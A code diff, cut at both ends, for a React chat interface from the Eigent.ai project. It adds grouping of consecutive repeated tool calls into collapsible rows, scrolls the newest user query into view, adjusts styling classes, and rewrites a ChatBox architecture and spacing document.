if (statuses.includes('failed')) return 'failed';
|
||||
if (statuses.includes('running')) return 'running';
|
||||
if (statuses.includes('pending')) return 'pending';
|
||||
if (statuses.every((status) => status === 'completed')) return 'completed';
|
||||
if (statuses.every((status) => status === 'cancelled')) return 'cancelled';
|
||||
if (statuses.includes('completed')) return 'completed';
|
||||
if (statuses.includes('cancelled')) return 'cancelled';
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Produce presentation-only rows without modifying the semantic event ledger.
|
||||
* Only consecutive identical calls are grouped; any different node preserves
|
||||
* chronology by ending the current segment.
|
||||
*/
|
||||
export function groupRepeatedToolCalls(
|
||||
nodes: readonly ChatProjectionNode[]
|
||||
): ChatTimelineDisplayRow[] {
|
||||
const rows: ChatTimelineDisplayRow[] = [];
|
||||
|
||||
for (let index = 0; index < nodes.length; ) {
|
||||
const node = nodes[index]!;
|
||||
const identity = toolIdentity(node);
|
||||
if (!identity || node.kind !== 'activity') {
|
||||
rows.push({ rowKind: 'node', id: node.id, node });
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
const segment: ChatActivityNode[] = [node];
|
||||
let cursor = index + 1;
|
||||
while (cursor < nodes.length) {
|
||||
const candidate = nodes[cursor]!;
|
||||
const candidateIdentity = toolIdentity(candidate);
|
||||
if (
|
||||
!candidateIdentity ||
|
||||
candidateIdentity.key !== identity.key ||
|
||||
candidate.kind !== 'activity'
|
||||
) {
|
||||
break;
|
||||
}
|
||||
segment.push(candidate);
|
||||
cursor += 1;
|
||||
}
|
||||
|
||||
const calls = buildToolCalls(segment);
|
||||
if (calls.length === 1) {
|
||||
const presentedNode = calls[0]!.presentedNode;
|
||||
rows.push({ rowKind: 'node', id: presentedNode.id, node: presentedNode });
|
||||
} else {
|
||||
rows.push({
|
||||
rowKind: 'repeated-tool-calls',
|
||||
id: `tool-call-group:${calls[0]!.id}`,
|
||||
runId: node.runId,
|
||||
agentId: node.agentId,
|
||||
agentName: node.agentName,
|
||||
toolkitName: identity.toolkitName,
|
||||
methodName: identity.methodName,
|
||||
calls,
|
||||
status: aggregateStatus(calls),
|
||||
});
|
||||
}
|
||||
index = cursor;
|
||||
}
|
||||
|
||||
return rows;
|
||||
}
|
||||
|
|
@ -12,6 +12,12 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
export { groupRepeatedToolCalls } from './activityGrouping';
|
||||
export type {
|
||||
ChatTimelineDisplayRow,
|
||||
PresentedToolCall,
|
||||
RepeatedToolCallGroupRow,
|
||||
} from './activityGrouping';
|
||||
export { EventRenderer } from './EventRenderer';
|
||||
export type { EventRendererProps } from './EventRenderer';
|
||||
export {
|
||||
|
|
@ -47,4 +53,5 @@ export type {
|
|||
EventRendererRegistry,
|
||||
EventTypeRendererRegistry,
|
||||
} from './rendererRegistry';
|
||||
export { RepeatedToolCallGroup } from './RepeatedToolCallGroup';
|
||||
export { UnknownEventFallback } from './UnknownEventFallback';
|
||||
|
|
|
|||
|
|
@ -114,7 +114,7 @@ export function AgentMessageCard({
|
|||
return (
|
||||
<div
|
||||
key={id}
|
||||
className={`flex w-full flex-col rounded-xl bg-transparent px-sm py-3 ${className || ''} overflow-hidden`}
|
||||
className={`flex w-full flex-col rounded-xl bg-transparent px-2 py-3 ${className || ''} overflow-hidden`}
|
||||
>
|
||||
<MarkDown
|
||||
content={content}
|
||||
|
|
@ -123,7 +123,7 @@ export function AgentMessageCard({
|
|||
enableTypewriter={enableTypewriter && typewriter}
|
||||
/>
|
||||
{showDeferredFileUi && attaches && attaches.length > 0 && (
|
||||
<div className="mt-[10px] flex flex-wrap gap-2">
|
||||
<div className="mt-2.5 flex flex-wrap gap-2">
|
||||
{attaches?.map((file) => {
|
||||
return (
|
||||
<div
|
||||
|
|
@ -151,7 +151,7 @@ export function AgentMessageCard({
|
|||
</div>
|
||||
)}
|
||||
{showDeferredFileUi && deferredFooter != null && (
|
||||
<div className="mt-[10px] w-full">{deferredFooter}</div>
|
||||
<div className="mt-2.5 w-full">{deferredFooter}</div>
|
||||
)}
|
||||
{markdownAndTypingComplete && (
|
||||
<div className="mt-3 flex shrink-0 justify-start gap-1">
|
||||
|
|
|
|||
|
|
@ -50,11 +50,11 @@ export const FloatingAction = ({
|
|||
return (
|
||||
<div
|
||||
className={cn(
|
||||
'bottom-32 left-0 right-0 top-2 mt-4 pointer-events-none sticky z-20 flex w-full items-center justify-center',
|
||||
'pointer-events-none sticky bottom-40 left-0 right-0 top-2 z-20 mt-4 flex w-full items-center justify-center',
|
||||
className
|
||||
)}
|
||||
>
|
||||
<div className="gap-2 p-1 backdrop-blur-md border-ds-border-neutral-default-default bg-ds-bg-neutral-subtle-default shadow-button-shadow pointer-events-auto flex items-center rounded-full border">
|
||||
<div className="pointer-events-auto flex items-center gap-2 rounded-full border border-ds-border-neutral-default-default bg-ds-bg-neutral-subtle-default p-1 shadow-button-shadow backdrop-blur-md">
|
||||
{/* Always show Stop Task button when running (removed pause/resume logic) */}
|
||||
<Button
|
||||
variant="outline"
|
||||
|
|
|
|||
|
|
@ -54,7 +54,7 @@ export function NoticeCard() {
|
|||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex h-auto w-full flex-col gap-2 py-sm">
|
||||
<div className="flex h-auto w-full flex-col gap-2 py-2">
|
||||
<div className="relative h-auto w-full overflow-hidden rounded-xl py-3 pr-5 backdrop-blur-[5px]">
|
||||
<div className="relative">
|
||||
<Button
|
||||
|
|
@ -85,7 +85,7 @@ export function NoticeCard() {
|
|||
: 'linear-gradient(to top, black 0%, black 40%, transparent 100%)',
|
||||
}}
|
||||
>
|
||||
<div className="mt-sm flex flex-col gap-2 px-2">
|
||||
<div className="mt-2 flex flex-col gap-2 px-2">
|
||||
{cotList.map((cot: string, index: number) => {
|
||||
return (
|
||||
<div
|
||||
|
|
|
|||
|
|
@ -216,7 +216,7 @@ function looksLikeNarration(raw: string): boolean {
|
|||
return true;
|
||||
}
|
||||
|
||||
type ToolItem = {
|
||||
export type ToolItem = {
|
||||
kind: 'tool';
|
||||
id: string;
|
||||
rowTitle: string;
|
||||
|
|
@ -261,6 +261,91 @@ type HumanInputItem = {
|
|||
|
||||
export type TimelineItem = ToolItem | MessageItem | HumanInputItem;
|
||||
|
||||
export type RepeatedToolItem = {
|
||||
kind: 'repeated-tool';
|
||||
id: string;
|
||||
rowTitle: string;
|
||||
toolkitName: string;
|
||||
method: string;
|
||||
calls: readonly ToolItem[];
|
||||
status: 'running' | 'done';
|
||||
};
|
||||
|
||||
export type WorkLogDisplayItem = TimelineItem | RepeatedToolItem;
|
||||
|
||||
function normalizedToolIdentity(value: string): string {
|
||||
return value
|
||||
.trim()
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9]+/g, '');
|
||||
}
|
||||
|
||||
function repeatedToolKey(item: ToolItem): string | null {
|
||||
const toolkit = normalizedToolIdentity(item.toolkitName);
|
||||
const method = normalizedToolIdentity(item.method);
|
||||
return toolkit && method ? JSON.stringify([toolkit, method]) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Collapse only consecutive identical toolkit/method rows for presentation.
|
||||
* Messages and human-input receipts are hard chronology boundaries, and the
|
||||
* source work-log items remain unchanged.
|
||||
*/
|
||||
export function groupConsecutiveToolItems(
|
||||
items: readonly TimelineItem[]
|
||||
): WorkLogDisplayItem[] {
|
||||
const grouped: WorkLogDisplayItem[] = [];
|
||||
|
||||
for (let index = 0; index < items.length; ) {
|
||||
const item = items[index]!;
|
||||
if (item.kind !== 'tool') {
|
||||
grouped.push(item);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
const identity = repeatedToolKey(item);
|
||||
if (!identity) {
|
||||
grouped.push(item);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
const calls: ToolItem[] = [item];
|
||||
let cursor = index + 1;
|
||||
while (cursor < items.length) {
|
||||
const candidate = items[cursor]!;
|
||||
if (
|
||||
candidate.kind !== 'tool' ||
|
||||
repeatedToolKey(candidate) !== identity
|
||||
) {
|
||||
break;
|
||||
}
|
||||
calls.push(candidate);
|
||||
cursor += 1;
|
||||
}
|
||||
|
||||
if (calls.length === 1) {
|
||||
grouped.push(item);
|
||||
} else {
|
||||
grouped.push({
|
||||
kind: 'repeated-tool',
|
||||
id: `repeated-tool:${item.id}`,
|
||||
rowTitle: item.rowTitle,
|
||||
toolkitName: item.toolkitName,
|
||||
method: item.method,
|
||||
calls,
|
||||
status: calls.some((call) => call.status === 'running')
|
||||
? 'running'
|
||||
: 'done',
|
||||
});
|
||||
}
|
||||
index = cursor;
|
||||
}
|
||||
|
||||
return grouped;
|
||||
}
|
||||
|
||||
/**
|
||||
* One agent's slice of work — a chronological list of inline messages
|
||||
* (reasoning, notices, toolkit narration) and tool rows. Renders flat: the
|
||||
|
|
@ -1069,6 +1154,89 @@ const ToolDetailRow = memo(function ToolDetailRow({
|
|||
});
|
||||
ToolDetailRow.displayName = 'ToolDetailRow';
|
||||
|
||||
const RepeatedToolDetailRow = memo(function RepeatedToolDetailRow({
|
||||
item,
|
||||
active,
|
||||
}: {
|
||||
item: RepeatedToolItem;
|
||||
active: boolean;
|
||||
}) {
|
||||
const { t } = useTranslation();
|
||||
const [open, setOpen] = useState(false);
|
||||
const rowTitle = t('chat.repeated-tool-events', {
|
||||
tool: item.rowTitle,
|
||||
count: item.calls.length,
|
||||
});
|
||||
const running = active && item.status === 'running';
|
||||
|
||||
return (
|
||||
<div
|
||||
className="flex w-full min-w-0 flex-col items-start"
|
||||
data-repeated-tool-group
|
||||
data-repeated-tool-count={item.calls.length}
|
||||
data-toolkit={item.toolkitName}
|
||||
data-method={item.method}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
aria-expanded={open}
|
||||
onClick={() => setOpen((value) => !value)}
|
||||
className="group inline-flex min-w-0 max-w-full items-center gap-1 self-start px-0 py-0.5 text-left transition-opacity hover:opacity-80"
|
||||
>
|
||||
{running ? (
|
||||
<ShinyText
|
||||
text={rowTitle}
|
||||
speed={2.5}
|
||||
className="min-w-0 shrink overflow-hidden text-ellipsis whitespace-nowrap !text-label-sm font-normal text-ds-text-neutral-subtle-default"
|
||||
/>
|
||||
) : (
|
||||
<span className="min-w-0 shrink overflow-hidden text-ellipsis whitespace-nowrap !text-label-sm font-normal text-ds-text-neutral-subtle-default">
|
||||
{rowTitle}
|
||||
</span>
|
||||
)}
|
||||
<ChevronRight
|
||||
size={16}
|
||||
aria-hidden
|
||||
className={cn(
|
||||
'shrink-0 text-ds-icon-neutral-subtle-default transition-[opacity,transform] duration-200',
|
||||
open
|
||||
? 'rotate-90 opacity-100'
|
||||
: 'rotate-0 opacity-0 group-focus-within:opacity-100 group-hover:opacity-100'
|
||||
)}
|
||||
/>
|
||||
</button>
|
||||
|
||||
<AnimatePresence initial={false}>
|
||||
{open ? (
|
||||
<motion.div
|
||||
key="repeated-tool-calls"
|
||||
initial={{ height: 0, opacity: 0 }}
|
||||
animate={{ height: 'auto', opacity: 1 }}
|
||||
exit={{ height: 0, opacity: 0 }}
|
||||
transition={HEIGHT_MOTION}
|
||||
className="w-full min-w-0 overflow-hidden"
|
||||
>
|
||||
<div className="flex w-full min-w-0 flex-col gap-1">
|
||||
{item.calls.map((call) => (
|
||||
<ToolDetailRow
|
||||
key={call.id}
|
||||
rowTitle={call.rowTitle}
|
||||
input={call.input}
|
||||
output={call.output}
|
||||
status={
|
||||
active && call.status === 'running' ? 'running' : 'done'
|
||||
}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</motion.div>
|
||||
) : null}
|
||||
</AnimatePresence>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
RepeatedToolDetailRow.displayName = 'RepeatedToolDetailRow';
|
||||
|
||||
const InlineMessageRow = memo(function InlineMessageRow({
|
||||
text,
|
||||
source,
|
||||
|
|
@ -1373,6 +1541,10 @@ const AgentGroupRow = memo(function AgentGroupRow({
|
|||
: (agentDisplay?.icon ?? DEFAULT_BOT_ICON);
|
||||
const useSingleAgentLiveHeader =
|
||||
isSingleAgent && group.agentType === 'single_agent';
|
||||
const displayItems = useMemo(
|
||||
() => groupConsecutiveToolItems(group.items),
|
||||
[group.items]
|
||||
);
|
||||
|
||||
// Single agent: surface the live in-progress `active_form` in place of the
|
||||
// static "CAMEL Agent" label. Fall back to the static label only when no
|
||||
|
|
@ -1505,7 +1677,7 @@ const AgentGroupRow = memo(function AgentGroupRow({
|
|||
className="min-w-0 overflow-hidden"
|
||||
>
|
||||
<div className="flex flex-col gap-2 py-1 pl-6">
|
||||
{group.items.map((item) =>
|
||||
{displayItems.map((item) =>
|
||||
item.kind === 'message' ? (
|
||||
<InlineMessageRow
|
||||
key={item.id}
|
||||
|
|
@ -1520,6 +1692,12 @@ const AgentGroupRow = memo(function AgentGroupRow({
|
|||
readOnly={humanInputReadOnly}
|
||||
onResolved={onHumanInputResolved}
|
||||
/>
|
||||
) : item.kind === 'repeated-tool' ? (
|
||||
<RepeatedToolDetailRow
|
||||
key={item.id}
|
||||
item={item}
|
||||
active={taskRunning && group.status === 'running'}
|
||||
/>
|
||||
) : (
|
||||
<ToolDetailRow
|
||||
key={item.id}
|
||||
|
|
|
|||
|
|
@ -130,7 +130,11 @@ export function UserMessageCard({
|
|||
};
|
||||
|
||||
return (
|
||||
<div key={id} className={cn('group/msg relative w-full pl-16', className)}>
|
||||
<div
|
||||
key={id}
|
||||
className={cn('group/msg relative w-full pl-16', className)}
|
||||
data-user-query-anchor
|
||||
>
|
||||
<div className="w-full overflow-visible rounded-xl rounded-br-sm bg-ds-bg-neutral-strong-default px-4 py-2">
|
||||
{attaches && attaches.length > 0 && (
|
||||
<div className="relative mb-2 box-border flex w-full flex-wrap items-start gap-1">
|
||||
|
|
|
|||
|
|
@ -22,7 +22,11 @@ import React, {
|
|||
useRef,
|
||||
useState,
|
||||
} from 'react';
|
||||
import { ProjectSection } from './ProjectSection';
|
||||
import {
|
||||
animateChatTimelineAnchor,
|
||||
type ChatTimelineScrollAnimation,
|
||||
} from './chatTimelineScroll';
|
||||
import { groupMessagesByQuery, ProjectSection } from './ProjectSection';
|
||||
|
||||
interface ProjectChatContainerProps {
|
||||
className?: string;
|
||||
|
|
@ -41,10 +45,12 @@ export const ProjectChatContainer: React.FC<ProjectChatContainerProps> = ({
|
|||
onSkip,
|
||||
isPauseResumeLoading,
|
||||
}) => {
|
||||
const { projectStore, chatStore } = useChatStoreAdapter();
|
||||
const { projectStore } = useChatStoreAdapter();
|
||||
const [activeQueryId, setActiveQueryId] = useState<string | null>(null);
|
||||
const [lastMessageCount, setLastMessageCount] = useState(0);
|
||||
const [, setChatRevision] = useState(0);
|
||||
const anchorFrameRef = useRef<number | null>(null);
|
||||
const anchorAnimationRef = useRef<ChatTimelineScrollAnimation | null>(null);
|
||||
const contentRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
// Get all chat stores for the active project
|
||||
const activeProjectId = projectStore.activeProjectId;
|
||||
|
|
@ -94,13 +100,6 @@ export const ProjectChatContainer: React.FC<ProjectChatContainerProps> = ({
|
|||
};
|
||||
}, [chatStores]);
|
||||
|
||||
// Extract messages array to avoid complex expression in dependency array
|
||||
const activeTaskId = chatStore?.activeTaskId as string;
|
||||
const messages = useMemo(
|
||||
() => chatStore?.tasks[activeTaskId]?.messages || [],
|
||||
[chatStore, activeTaskId]
|
||||
);
|
||||
|
||||
// Scroll to bottom function
|
||||
const scrollToBottom = useCallback(() => {
|
||||
if (!scrollContainerRef.current) return;
|
||||
|
|
@ -114,47 +113,100 @@ export const ProjectChatContainer: React.FC<ProjectChatContainerProps> = ({
|
|||
}, 100);
|
||||
}, [scrollContainerRef]);
|
||||
|
||||
// Monitor for new user messages and auto-scroll
|
||||
const userQueryIds = taskSections.flatMap(({ chatStore, taskId }) => {
|
||||
const task = chatStore.getState().tasks[taskId];
|
||||
return groupMessagesByQuery(task?.messages || [])
|
||||
.filter((group) => group.userMessage)
|
||||
.map((group) => group.queryId);
|
||||
});
|
||||
const userQueryCount = userQueryIds.length;
|
||||
const latestUserQueryId = userQueryIds.at(-1);
|
||||
const previousUserQueryStateRef = useRef<{
|
||||
count: number;
|
||||
latestId?: string;
|
||||
}>({ count: 0 });
|
||||
const previousQueryProjectIdRef = useRef<string | null>(activeProjectId);
|
||||
|
||||
const scrollLatestQueryBelowHeader = useCallback(
|
||||
(queryId: string) => {
|
||||
if (anchorFrameRef.current !== null) {
|
||||
cancelAnimationFrame(anchorFrameRef.current);
|
||||
}
|
||||
anchorAnimationRef.current?.stop();
|
||||
|
||||
const run = () => {
|
||||
const container = scrollContainerRef.current;
|
||||
if (!container) return;
|
||||
const targets = Array.from(
|
||||
container.querySelectorAll<HTMLElement>('[data-query-id]')
|
||||
);
|
||||
const queryGroup = targets.find(
|
||||
(candidate) => candidate.dataset.queryId === queryId
|
||||
);
|
||||
const target =
|
||||
queryGroup?.querySelector<HTMLElement>('[data-user-query-anchor]') ||
|
||||
queryGroup;
|
||||
if (target) {
|
||||
anchorAnimationRef.current = animateChatTimelineAnchor(
|
||||
container,
|
||||
target,
|
||||
contentRef.current
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
anchorFrameRef.current = requestAnimationFrame(run);
|
||||
},
|
||||
[scrollContainerRef]
|
||||
);
|
||||
|
||||
// The first query follows the existing bottom reveal. From the second query
|
||||
// onward, keep the new user box at the top of the ChatBox viewport so it sits
|
||||
// below the fixed Session header with the standard 44px top gap.
|
||||
useEffect(() => {
|
||||
if (!chatStore || !activeProjectId) return;
|
||||
if (previousQueryProjectIdRef.current !== activeProjectId) {
|
||||
previousQueryProjectIdRef.current = activeProjectId;
|
||||
previousUserQueryStateRef.current = {
|
||||
count: userQueryCount,
|
||||
latestId: latestUserQueryId,
|
||||
};
|
||||
return;
|
||||
}
|
||||
|
||||
if (!activeTaskId) return;
|
||||
const previousQueryState = previousUserQueryStateRef.current;
|
||||
const addedQuery =
|
||||
latestUserQueryId !== undefined &&
|
||||
userQueryCount > previousQueryState.count &&
|
||||
latestUserQueryId !== previousQueryState.latestId;
|
||||
|
||||
const task = chatStore.tasks[activeTaskId];
|
||||
if (!task) return;
|
||||
|
||||
const currentMessageCount = messages.length;
|
||||
|
||||
// Check if a new user message was added
|
||||
if (currentMessageCount > lastMessageCount) {
|
||||
const lastMessage = messages[messages.length - 1];
|
||||
|
||||
// If the last message is from user, scroll to bottom
|
||||
if (lastMessage && lastMessage.role === 'user') {
|
||||
if (addedQuery) {
|
||||
if (previousQueryState.count >= 1) {
|
||||
scrollLatestQueryBelowHeader(latestUserQueryId);
|
||||
} else {
|
||||
scrollToBottom();
|
||||
}
|
||||
}
|
||||
|
||||
// Use setTimeout to defer state update and avoid cascading renders
|
||||
setTimeout(() => {
|
||||
setLastMessageCount(currentMessageCount);
|
||||
}, 0);
|
||||
previousUserQueryStateRef.current = {
|
||||
count: userQueryCount,
|
||||
latestId: latestUserQueryId,
|
||||
};
|
||||
}, [
|
||||
messages,
|
||||
lastMessageCount,
|
||||
scrollToBottom,
|
||||
activeProjectId,
|
||||
chatStore,
|
||||
activeTaskId,
|
||||
latestUserQueryId,
|
||||
scrollLatestQueryBelowHeader,
|
||||
scrollToBottom,
|
||||
userQueryCount,
|
||||
]);
|
||||
|
||||
// Reset message count when active task changes
|
||||
useEffect(() => {
|
||||
// Use setTimeout to defer state update and avoid cascading renders
|
||||
setTimeout(() => {
|
||||
setLastMessageCount(0);
|
||||
}, 0);
|
||||
}, [chatStore?.activeTaskId]);
|
||||
useEffect(
|
||||
() => () => {
|
||||
if (anchorFrameRef.current !== null) {
|
||||
cancelAnimationFrame(anchorFrameRef.current);
|
||||
}
|
||||
anchorAnimationRef.current?.stop();
|
||||
},
|
||||
[]
|
||||
);
|
||||
|
||||
// When switching projects, jump to the latest message (bottom) instead of
|
||||
// staying at the top. Deferred so the switched-to project's messages have
|
||||
|
|
@ -162,6 +214,8 @@ export const ProjectChatContainer: React.FC<ProjectChatContainerProps> = ({
|
|||
// history on every switch.
|
||||
useEffect(() => {
|
||||
if (!activeProjectId) return;
|
||||
anchorAnimationRef.current?.stop();
|
||||
if (contentRef.current) contentRef.current.style.minHeight = '';
|
||||
const timer = setTimeout(() => {
|
||||
const el = scrollContainerRef.current;
|
||||
if (el) el.scrollTo({ top: el.scrollHeight, behavior: 'auto' });
|
||||
|
|
@ -354,6 +408,7 @@ export const ProjectChatContainer: React.FC<ProjectChatContainerProps> = ({
|
|||
return (
|
||||
<div className={`relative z-10 w-full ${className}`}>
|
||||
<div
|
||||
ref={contentRef}
|
||||
className="mx-auto w-full max-w-[600px] pt-0"
|
||||
style={{ paddingBottom: scrollBottomInsetPx }}
|
||||
>
|
||||
|
|
|
|||
|
|
@ -105,10 +105,10 @@ export const ProjectSection = React.forwardRef<
|
|||
animate={{ opacity: 1, y: 0 }}
|
||||
exit={{ opacity: 0, y: -20 }}
|
||||
transition={{ duration: 0.3 }}
|
||||
className="relative"
|
||||
className="relative mb-8"
|
||||
>
|
||||
{/* User Query Groups */}
|
||||
<div className="space-y-0">
|
||||
<div className="space-y-3">
|
||||
{queryGroups.map((group, index) => (
|
||||
<UserQueryGroup
|
||||
key={`${chatId}-${group.queryId}`}
|
||||
|
|
|
|||
|
|
@ -1,110 +1,272 @@
|
|||
# ChatBox component structure
|
||||
# ChatBox architecture and spacing
|
||||
|
||||
This document describes the ChatBox layout, how the main pieces connect, and where to change behavior. Paths are relative to `src/components/ChatBox/`.
|
||||
This document describes the current ChatBox structure, layout relationships,
|
||||
spacing rules, and the planned removal of the legacy ChatStore renderer. Paths
|
||||
are relative to `src/components/ChatBox/`.
|
||||
|
||||
## Overview
|
||||
## Direction
|
||||
|
||||
ChatBox is the main chat surface: it wires **project + chat store** data to **message threads**, **task / workforce UI**, and the **BottomBox** composer. It supports multi-turn flows, task planning, splitting, and execution with scroll and timeline affordances.
|
||||
The target architecture is the event-native timeline plus the shared
|
||||
`BottomBox` composer. The older `ProjectChatContainer` → `ProjectSection` →
|
||||
`UserQueryGroup` renderer remains available behind the event timeline feature
|
||||
switch while migration is in progress.
|
||||
|
||||
## Architecture (folders)
|
||||
New conversation presentation work should be added to `EventTimeline/`, not to
|
||||
the legacy `MessageItem/` routing path.
|
||||
|
||||
## Current runtime structure
|
||||
|
||||
```text
|
||||
ChatBox
|
||||
├── scroll viewport
|
||||
│ └── timeline column (width: 100%; maximum width: 600px)
|
||||
│ ├── event-native path
|
||||
│ │ └── EventNativeProjectTimeline
|
||||
│ │ └── EventTimeline
|
||||
│ │ └── EventRenderer
|
||||
│ │ └── semantic event renderer
|
||||
│ └── legacy fallback path
|
||||
│ └── ProjectChatContainer
|
||||
│ └── ProjectSection (one task/run)
|
||||
│ ├── UserQueryGroup (one user turn)
|
||||
│ │ ├── UserMessageCard
|
||||
│ │ ├── PlanTaskBox or TaskCard
|
||||
│ │ ├── TaskWorkLogAccordion
|
||||
│ │ └── AgentMessageCard / NoticeCard / interaction UI
|
||||
│ └── FloatingAction
|
||||
├── PlanTaskBox overlay portal (legacy only)
|
||||
└── BottomBox overlay (width: 100%; maximum width: 600px)
|
||||
├── QueuedBox
|
||||
├── floating UsageLimitBanner or PickerPanel
|
||||
└── BoxMain
|
||||
├── BoxHeader
|
||||
├── ControlInputRouter
|
||||
│ ├── InputBox
|
||||
│ │ └── RichChatInput
|
||||
│ └── approval / selection / form / feedback / blocked controls
|
||||
└── BoxFooter
|
||||
├── project mode
|
||||
├── approval mode
|
||||
├── thinking effort
|
||||
└── model selector
|
||||
```
|
||||
|
||||
## Event-native components to keep
|
||||
|
||||
```text
|
||||
ChatBox/
|
||||
├── index.tsx # Main shell: layout, chat timeline, send/stop, BottomBox
|
||||
├── ChatTimeline.tsx # Per-project task/chat rail or popover (narrow layout)
|
||||
├── ProjectChatContainer.tsx # Scroll region + all chat stores for the active project
|
||||
├── ProjectSection.tsx # One chat store: query groups, FloatingAction
|
||||
├── UserQueryGroup.tsx # One user query → messages, task UI, agent results
|
||||
│
|
||||
├── TaskBox/ # Plan / run task UI
|
||||
│ ├── TaskCard.tsx # Plan list, progress, filter, expand (workforce subtasks)
|
||||
│ ├── TaskItem.tsx # Editable line in the plan
|
||||
│ ├── TaskType.tsx # Task type indicator
|
||||
│ ├── TypeCardSkeleton.tsx # Loading skeleton while the plan is forming
|
||||
│ └── StreamingTaskList.tsx
|
||||
│
|
||||
├── MessageItem/ # All message- and log-specific UI
|
||||
│ ├── UserMessageCard.tsx
|
||||
│ ├── UserMessageRichContent.tsx
|
||||
│ ├── AgentMessageCard.tsx
|
||||
│ ├── NoticeCard.tsx
|
||||
│ ├── FeedbackCard.tsx
|
||||
│ ├── TaskCompletionCard.tsx
|
||||
│ ├── SplittingProgressRow.tsx # “Splitting tasks” + token tick during decompose
|
||||
│ ├── TaskWorkLogAccordion.tsx # Work log: tool / agent lines (workforce)
|
||||
│ ├── FloatingAction.tsx # Pause / skip (used from ProjectSection)
|
||||
│ ├── MarkDown.tsx
|
||||
│ ├── SummaryMarkDown.tsx
|
||||
│ └── TokenUtils.tsx # Token animation + splitting elapsed formatting
|
||||
│
|
||||
└── BottomBox/ # Composer and chrome above input
|
||||
├── index.tsx
|
||||
├── EventNativeProjectTimeline.tsx
|
||||
├── EventTimeline/
|
||||
│ ├── index.ts
|
||||
│ ├── EventTimeline.tsx
|
||||
│ ├── EventRenderer.tsx
|
||||
│ ├── EventRendererBoundary.tsx
|
||||
│ ├── DefaultEventRenderers.tsx
|
||||
│ ├── UnknownEventFallback.tsx
|
||||
│ ├── presentationPolicy.ts
|
||||
│ └── rendererRegistry.ts
|
||||
└── BottomBox/
|
||||
├── index.tsx
|
||||
├── types.ts
|
||||
├── useEventNativeHumanControl.ts
|
||||
├── ControlInput.tsx
|
||||
├── InputBox.tsx
|
||||
├── RichChatInput.tsx
|
||||
├── ModelSelect.tsx
|
||||
├── BoxHeader.tsx
|
||||
└── QueuedBox.tsx
|
||||
├── BoxFooter.tsx
|
||||
├── QueuedBox.tsx
|
||||
├── PickerPanel.tsx
|
||||
├── UsageLimitBanner.tsx
|
||||
├── ApprovalModeSelect.tsx
|
||||
├── ThinkingEffortSelect.tsx
|
||||
└── ModelSelect.tsx
|
||||
```
|
||||
|
||||
## Core responsibilities
|
||||
### Event-native data flow
|
||||
|
||||
### `index.tsx`
|
||||
1. Durable project/run events hydrate the project event store.
|
||||
2. The chat projector converts transport events into semantic
|
||||
`ChatProjectionNode` values.
|
||||
3. `EventNativeProjectTimeline` selects renderable nodes and bounds the mounted
|
||||
history window.
|
||||
4. `EventTimeline` applies presentation policy and creates a 12px-spaced list.
|
||||
5. `EventRenderer` selects a renderer by semantic node kind or exact event type.
|
||||
6. `BottomBox` renders the event-derived human control or the standard input.
|
||||
|
||||
- Composes `ProjectChatContainer`, `BottomBox`, and (when used) `ChatTimeline`.
|
||||
- Connects to `useChatStoreAdapter`, `projectStore`, navigation, and session chrome (e.g. scroll padding, task time display, pause/resume).
|
||||
- Owns high-level task operations (send, stop, share, history hooks) and passes props into children.
|
||||
The default semantic renderer kinds are message, notice, interaction, plan,
|
||||
activity, artifact, run status, and unknown.
|
||||
|
||||
### `ProjectChatContainer.tsx`
|
||||
### Repeated tool-call presentation
|
||||
|
||||
- Renders the stack of per–chat-id sections for the active project.
|
||||
- Owns scroll behavior and “stick to bottom” / padding for the last message and BottomBox.
|
||||
`EventTimeline/activityGrouping.ts` converts consecutive identical tool
|
||||
activity nodes into logical calls before rendering. It pairs lifecycle frames
|
||||
with a backend `toolCallId` when available and uses FIFO pairing for older
|
||||
events without correlation. The source projection remains immutable.
|
||||
|
||||
### `ProjectSection.tsx`
|
||||
Calls are grouped only when the run, agent, toolkit, and method match without
|
||||
another timeline node between them. A message, interaction, different tool,
|
||||
agent change, or Run change ends the group so chronological relationships are
|
||||
never reordered.
|
||||
|
||||
- One **vanilla `chatStore`** instance: subscribes to it and maps **messages** into **query groups** (see `UserQueryGroup`).
|
||||
- Hosts `FloatingAction` (pause, skip) for the active task.
|
||||
- One logical call renders as the normal activity row.
|
||||
- Two or more calls render through `RepeatedToolCallGroup.tsx` as
|
||||
`Toolkit · method · count events`.
|
||||
- The repeated group is collapsed by default and expands to show each call's
|
||||
individual status and safe display detail.
|
||||
- Aggregate running, completed, cancelled, and failed states appear on the
|
||||
collapsed row.
|
||||
- The group key is anchored to its first call so an open accordion stays open
|
||||
when later calls join the same live burst.
|
||||
|
||||
### `UserQueryGroup.tsx`
|
||||
While the legacy fallback is still enabled, `TaskWorkLogAccordion.tsx` applies
|
||||
the same consecutive-call rule to action rows through
|
||||
`groupConsecutiveToolItems`. Its optional inner accordion uses the same
|
||||
`Toolkit · method · count events` summary. Every expanded child retains the
|
||||
original `Toolkit · method` name. Preparation/registration rows are
|
||||
intentionally excluded because that synthetic block can contain calls from
|
||||
multiple agents. Remove this legacy implementation together with
|
||||
`TaskWorkLogAccordion.tsx` at final cutover.
|
||||
|
||||
- A **single user turn**: user content, then downstream UI driven by `AgentStep` / `ChatTaskStatus` (e.g. splitting, task card, agent completion, notices).
|
||||
- Imports from `TaskBox/` and `MessageItem/`; this is the main place new message *shapes* are routed.
|
||||
## Main layout measurements
|
||||
|
||||
## TaskBox (`TaskBox/`)
|
||||
| Relationship | Value |
|
||||
| ------------------------------------------- | ---------------------------------------------------------------: |
|
||||
| ChatBox shell | Full width and height; vertical flex layout |
|
||||
| Scroll viewport | Remaining height; 8px left padding |
|
||||
| Timeline column | Full width; 600px maximum; horizontally centered |
|
||||
| BottomBox overlay column | Full width; 600px maximum; 8px horizontal and 4px bottom padding |
|
||||
